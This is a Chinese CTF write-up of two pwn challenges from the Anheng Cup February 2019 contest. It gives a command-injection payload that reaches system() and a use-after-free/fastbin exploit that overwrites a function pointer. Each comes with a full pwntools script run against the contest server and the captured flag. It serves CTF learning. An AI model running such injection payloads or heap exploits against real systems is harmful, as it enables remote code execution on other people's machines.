安恒杯2019年2月月赛pwn部分详细分析

栏目: C · 发布时间: 7年前

内容简介:开学了,利用月赛练练手还是不错的<^_^>第一题知识点: 二进制程序的命令执行漏洞

安恒杯2019年2月月赛pwn部分详细分析

开学了,利用月赛练练手还是不错的<^_^>

第一题知识点: 二进制程序的命令执行漏洞

一. 程序逆向分析

1.查看开启了哪些保护:

➜  ~ checksec filesystem 
[*] '/root/filesystem'
 Arch:     amd64-64-little
 RELRO:    Partial RELRO
 Stack:    Canary found
 NX:       NX enabled
 PIE:      No PIE (0x400000)

可以发现只开起了canary和nx保护.

2.main函数分析

打开ida ,来到地址: 0x000000000400DB3, 这就是main函数地址, 按f5反编译查看源码:

安恒杯2019年2月月赛pwn部分详细分析

其中init_()是被我重命名了的函数, 进行发现只是设置stdin,stdout和stderr为无缓冲模式,这样进行io操作不会在堆上分配缓冲区.

进行第二个while循环,首先puts一系列字符串, 重命名为menu.menu最后获取我们的输入:

安恒杯2019年2月月赛pwn部分详细分析

然后比较输入和Create,Edit,Read,Checksec,Exit进行比较,从而执行对应的操作.

3.Create操作

允许最多创建0x10个所谓的file, 前0x30存放filename,后0x60存放filecontent(后面分析edit可知).

安恒杯2019年2月月赛pwn部分详细分析

这些file存放在一个全局结构数组中, 首地址为

0x6020e0, 在ida跟进发现是个未初始化的全局变量.

安恒杯2019年2月月赛pwn部分详细分析

4.Edit操作如下:

安恒杯2019年2月月赛pwn部分详细分析

首先获取要编辑的file的id,这个id对应于全局结构体数组的下标,通过read函数从改结构体缓冲区的+0x30的位置开始read我们的输入,大小为0x60. 并将最后一个字符置x00.

5.Read操作就是根据输入的id输出file的filename和filecontent,比较简单

安恒杯2019年2月月赛pwn部分详细分析

6.Checksec操作是本题的重头戏:

安恒杯2019年2月月赛pwn部分详细分析

通过逆向得知,首先输入index,然后通过snprintf将filecontent格式化写入到局部缓冲区s中,没有任何检查就作为system的参数进行调用了. 我是通过绕过这里的字符串进行getshell的.

snprintf的功能是将第4个及以后的参数作为可变参数输入到第3个format字符串中,并将结果保存到第一个参数s中,最多0x80个字节(第二个参数). 最终的命令是:

echo “our_input” | md5sum our_input表示我们的输入, 在这里我们可以在 linux 终端下测试:

随便输入一些内容,比如abcd:

安恒杯2019年2月月赛pwn部分详细分析

结果输出了abcd的md5值,

想到 sql 注入的双引号绕过:

安恒杯2019年2月月赛pwn部分详细分析

发现还是不行

后来想到了;可以隔离多条命令,于是输入: “; /bin/sh ; “

安恒杯2019年2月月赛pwn部分详细分析

果然执行了shell, 于是赶紧写出exp测试一下:

7.exp:

from pwn import *

#p = process('./filesystem')
p = remote('101.71.29.5', 10017)
print p.recvuntil('> ')
p.sendline('Create')
print p.recvuntil('Input Filename: ')
p.sendline('aaaaa')

print p.recvuntil('> ')
p.sendline('Edit')
print p.recvuntil('Input the Index:')
p.sendline('0')
print p.recvuntil('Input File Content: ')
p.sendline('"; /bin/sh ; "')

print p.recvuntil('> ')
p.sendline('Checksec')
print p.recvuntil('Input the Index:')
p.sendline('0')
p.interactive()

[*] Switching to interactive mode

id
/bin/sh: 1: id: not found
whoami
/bin/sh: 2: whoami: not found
ls
bin
dev
filesystem
flag.txt
lib
lib32
lib64
cat flag.txt
flag{7ee688b3ad2b8e2546d8bcdc62cdd03f}

二. hackmoon

第二题知识点: uaf, fastbin double free, unsorted_bin 泄露libc基址

1.安全检查

➜  ~ checksec hackmoon
[*] '/root/hackmoon'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没有开始pie,很nice

2.main逆向分析

安恒杯2019年2月月赛pwn部分详细分析

这道题的逻辑还是比较简单的, 首先对stdou和stdin设置无缓冲,防止他们对堆的干扰.

然后puts一系列字符串,即为menu. 然后读取输入的操作序号选择某个操作,再执行对应函数

3.add_moon逆向分析

安恒杯2019年2月月赛pwn部分详细分析

发现可以对moonlist写入5次,也就是最多可以add5个moon.

遍历moonlist找到第一个不为0的成员,分配一个8字节内存给它,然后对这个内存的前4字节设置为一个函数指针, 后4字节设置为分配的新内存的地址,最后填入数据到这个地址中.

从这里可以看出, moonlist是一个全局结构体数组, 结构体定义大致如下:

struct moon{
    void * print_moon_content;
    char* moonContent;
    };

4.del_moon逆向分析:

安恒杯2019年2月月赛pwn部分详细分析

还是先获取全局数组moonlist的index,然后先对moon的moonContent堆内存进行释放,然后释放moon自己, 但是并没有对这2个指针置NULL,这是导致漏洞的关键因素.

5.print_moon逆向分析

安恒杯2019年2月月赛pwn部分详细分析

还是先获取全局数组moonlist的index, 判断moon指针是否为0,不为0则调用第一个成员(函数指针)对自己进行打印:

安恒杯2019年2月月赛pwn部分详细分析

其实就是puts了moon的moonContent成员字符串.

6.漏洞分析

首先通过申请一个0x80的moon,然后删除,再申请,这样第二次的moonContent内容和第一次的重叠, 由于第一次的moonContent释放会被放入unsorted bin,再次申请后上面还有2个指向unsorted bin的指针数据残留, 于是通过print_moon进行泄露出unsorted bin地址,通过计算可以得到libc基址

申请2次0x20大小的moon, 再依次删除,这样fast bin 链入2个数据域大小为8字节的chunk和链入2个数据域0x20大小的chunk, 再申请一个0x8大小的moon,会从fast bin把那2个8字节的chunk给他, 于是就可以控制第一个0x20大小的moon结构体的内容了, 通过将其存放print_moon函数指针的内存改为存放system的地址, 再改存放moonContent的内存为;shx00, 当执行print_moon的时候其实执行了system,而且参数时 system_addr;shx00, 这样的思路本来是识别不了;前面的system_addr命令,但是;隔开2条命令是可以执行sh的. 这样的思路没错, 可是题目没有给libc, 就算泄露了libc基址也不知道libc版本. 我在这里想了想, 又翻了下程序发现有个magic函数,我们直接执行这个函数不就可以获取flag了:

安恒杯2019年2月月赛pwn部分详细分析

7.exp:

from pwn import *

#p = process('./hackmoon')
p = remote('101.71.29.5',10016)
elf = ELF('./hackmoon')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def add(size, content):
    print p.recvuntil('Your choice :')
    p.sendline('1')
    print p.recvuntil('moon size :')
    p.sendline(str(size))
    print p.recvuntil('Content :')
    p.send(content)


def delete(index, ):
    print p.recvuntil('Your choice :')
    p.sendline('2')
    print p.recvuntil('Index :')
    p.sendline(str(index))
    print p.recvuntil('Successn')
    return


def print_(index):
    print p.recvuntil('Your choice :')
    p.sendline('3')
    print p.recvuntil('Index :')
    p.sendline(str(index))
    return


add(0x80,'000000')
add(0x20,'1111111') #防止删除后与top chunk合并
delete(0)
add(0x80,'2222')
#泄露unsorted bin 地址
print_(2)
print p.recvuntil('2222')
unsorted_bin =  p.recv(4)
unsorted_bin = u32(unsorted_bin)
print 'unsorted_bin: ',hex(unsorted_bin)

libc_base = unsorted_bin -  0x1b27b0 #计算得到libc 基址
print 'libc_base: ', hex(libc_base)
system_addr = 0x08048994#libc_base+libc.sym['system']
get_flag = 0x8048986 #magic函数地址
add(0x20,'333')
delete(1)
delete(3)
add(0x8,p32(get_flag)+';shx00')#这里实际上修改了index为1的moon结构数据
#gdb.attach(p,'b *%s' % system_addr)
print_(1)
p.interactive()

[*] Switching to interactive mode
ls
bin
dev
flag.txt
hackmoon
lib
lib32
lib64
cat flag.txt
flag{1dc8f4dc0a39f4d4935a0cf1e0d10811}

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

Convergence Culture

Convergence Culture

Henry Jenkins / NYU Press / 2006-08-01 / USD 30.00

"Convergence Culture" maps a new territory: where old and new media intersect, where grassroots and corporate media collide, where the power of the media producer, and the power of the consumer intera......一起来看看 《Convergence Culture》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具